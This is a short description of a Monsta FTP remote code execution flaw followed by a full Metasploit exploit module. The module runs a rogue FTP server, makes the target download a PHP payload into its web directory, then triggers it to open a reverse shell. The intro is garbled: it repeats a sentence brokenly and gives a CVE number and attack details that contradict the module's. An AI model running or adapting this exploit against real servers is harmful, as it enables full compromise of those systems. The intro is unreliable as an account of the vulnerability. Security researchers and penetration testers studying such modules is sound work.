Monsta FTP DownloadFile Remote Code Execution

Monsta FTP (CVE-2020-25097) contained a critical Remote Code Execution vulnerability.
It Monsta FTP (CVE-2020-25097) contained a critical Remote Code Execution vulnerability.
It resided in the `DownloadFile` feature, which allowed fetching files from remote URLs.
An authenticated attacker could exploit this.
The core flaw was insufficient sanitization of the user-provided filename.
This allowed directory traversal characters (e.g., `../`) to be used.
Consequently, an attacker could write arbitrary files, including PHP web shells.
By placing a malicious PHP file in a web-accessible directory, RCE was achieved.
This enabled attackers to execute arbitrary commands on the underlying server.
It posed a severe security risk to affected Monsta FTP deployments.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Payload::Php
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::FtpServer
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Monsta FTP downloadFile Remote Code Execution',
'Description' => %q{
This module exploits a pre-authenticated remote code execution vulnerability
in Monsta FTP versions < 2.11.3. The vulnerability exists in the downloadFile
action which allows an attacker to connect to a malicious FTP or SFTP server
and download arbitrary files to arbitrary locations on the Monsta FTP server.
This module uses FTP to exploit the vulnerability.
},
'Author' => [
'watchTowr Labs', # Discovery
'Valentin Lobstein <chocapikk[at]leakix.net>', # Metasploit module
'msutovsky-r7' # Module reviewer
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-34299'],
['URL', 'https://labs.watchtowr.com/monsta-ftp-remote-code-execution-cve-2025-34299/']
],
'Platform' => %w[php unix linux win],
'Arch' => [ARCH_PHP, ARCH_CMD],
'Targets' => [
[
'PHP In-Memory',
{
'Platform' => 'php',
'Arch' => ARCH_PHP
# tested with php/meterpreter/reverse_tcp
}
],
[
'Unix/Linux Command Shell',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
'Windows Command Shell',
{
'Platform' => 'win',
'Arch' => ARCH_CMD
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
}
]
],
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => '2025-11-07',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'The base path to Monsta FTP', '/mftp/'])
])
end

def check
res = send_request_cgi('uri' => normalize_uri(target_uri.path))
return CheckCode::Unknown('Connection failed') unless res
return CheckCode::Safe('Target does not appear to be Monsta FTP') unless res.code == 200 && res.body.include?('Monsta FTP')

version_match = res.body.match(/(?:v=|assets-|monsta-min-)(\d+\.\d+\.\d+)/)
return CheckCode::Detected('Monsta FTP detected but version could not be determined') unless version_match

version = Rex::Version.new(version_match[1])
print_status("Monsta FTP version detected: #{version}")
version < Rex::Version.new('2.11.3') ? CheckCode::Appears("Detected version #{version}, which is vulnerable") : CheckCode::Safe("Detected not vulnerable version #{version}")
end

def php_payload_content
phped_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
"<?php #{phped_payload} ?>"
end

def send_ftp_response(cli, code, message)
cli.put "#{code} #{message}\r\n"
vprint_status("FTP: #{code} #{message}")
end

def require_auth(cli)
return true if @state[cli][:auth]

send_ftp_response(cli, 530, 'Not logged in.')
false
end

def send_data_connection(cli)
conn = establish_data_connection(cli)
unless conn
send_ftp_response(cli, 425, "Can't open data connection.")
return nil
end
conn
end

def handle_data_transfer_retr(cli, message)
send_ftp_response(cli, 150, message)
conn = send_data_connection(cli)
return unless conn

conn.put(php_payload_content)
conn.close
send_ftp_response(cli, 226, 'Transfer complete.')
end

def start_ftp_service(credentials)
define_singleton_method(:on_client_connect) do |cli|
vprint_status("FTP client connected from #{cli.peerhost}:#{cli.peerport}")
@state[cli] = {
name: "#{cli.peerhost}:#{cli.peerport}",
ip: cli.peerhost,
port: cli.peerport,
user: credentials[:user],
pass: credentials[:pass],
auth: false,
valid_user: false
}
send_ftp_response(cli, 220, 'FTP Server Ready')
end
start_service({ SSL: false })
end

def handle_ftp_command(_cli, cmd, arg = nil)
vprint_status("FTP: Client sent #{cmd}#{arg ? " #{arg}" : ''}")
end

def on_client_command_user(cli, arg)
handle_ftp_command(cli, 'USER', arg)
@state[cli][:valid_user] = arg == @state[cli][:user]
send_ftp_response(cli, 331, 'User name okay, need password.')
end

def on_client_command_pass(cli, arg)
handle_ftp_command(cli, 'PASS')
@state[cli][:auth] = @state[cli][:valid_user] && arg == @state[cli][:pass]
code, message = @state[cli][:auth] ? [230, 'Login successful.'] : [530, 'Login incorrect.']
send_ftp_response(cli, code, message)
end

def on_client_command_pwd(cli, _arg)
handle_ftp_command(cli, 'PWD')
send_ftp_response(cli, 257, '"/" is current directory.')
end

def on_client_command_type(cli, arg)
handle_ftp_command(cli, 'TYPE', arg)
send_ftp_response(cli, 200, "Type set to #{arg}.")
end

def on_client_command_port(cli, arg)
handle_ftp_command(cli, 'PORT', arg)
parts = arg.split(',')
unless parts.length == 6
vprint_error("FTP: Invalid PORT command format: #{arg}")
send_ftp_response(cli, 500, 'Illegal PORT command.')
return
end
host = parts[0..3].join('.')
port = (parts[4].to_i * 256) + parts[5].to_i
vprint_status("FTP: PORT command parsed - host: #{host}, port: #{port}")
active_data_port_for_client(cli, port)
send_ftp_response(cli, 200, 'PORT command successful.')
end

def on_client_command_retr(cli, arg)
handle_ftp_command(cli, 'RETR', arg)
return unless require_auth(cli)

handle_data_transfer_retr(cli, "Opening data connection for #{arg}")
end

def on_client_command_quit(cli, _arg)
handle_ftp_command(cli, 'QUIT')
send_ftp_response(cli, 221, 'Goodbye.')
end

def on_client_command_unknown(cli, cmd, arg)
handle_ftp_command(cli, "UNKNOWN: #{cmd}", arg)
send_ftp_response(cli, 500, "'#{cmd} #{arg}': command not understood.")
end

def trigger_http_request(exploit_data)
vprint_status('Triggering HTTP request...')
payload_name = "#{Rex::Text.rand_text_alphanumeric(8..12)}.php"

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'application', 'api', 'api.php'),
'method' => 'POST',
'ctype' => 'application/x-www-form-urlencoded',
'data' => "request=#{Rex::Text.uri_encode({
'connectionType' => 'ftp',
'configuration' => {
'host' => datastore['SRVHOST'],
'username' => exploit_data[:user],
'initialDirectory' => '/',
'password' => exploit_data[:pass],
'port' => datastore['SRVPORT']
},
'actionName' => 'downloadFile',
'context' => { 'remotePath' => "/#{payload_name}", 'localPath' => payload_name }
}.to_json)}"
})

return nil unless res&.code == 200 && res.get_json_document&.[]('success')

vprint_status("File downloaded successfully: #{payload_name}")
payload_name
end

def exploit
exploit_data = {
user: Faker::Internet.username,
pass: Faker::Internet.password
}

start_ftp_service(exploit_data)
vprint_status("FTP server started on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}")

payload_name = trigger_http_request(exploit_data)
fail_with(Failure::Unknown, 'Failed to download payload file') unless payload_name

register_file_for_cleanup(payload_name)
vprint_status("Triggering payload at #{normalize_uri(target_uri.path, 'application', 'api', payload_name)}...")
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'application', 'api', payload_name), 'method' => 'GET')

vprint_warning('Payload executed but failed to establish reverse connection') if res&.body == 'no socket'
end
end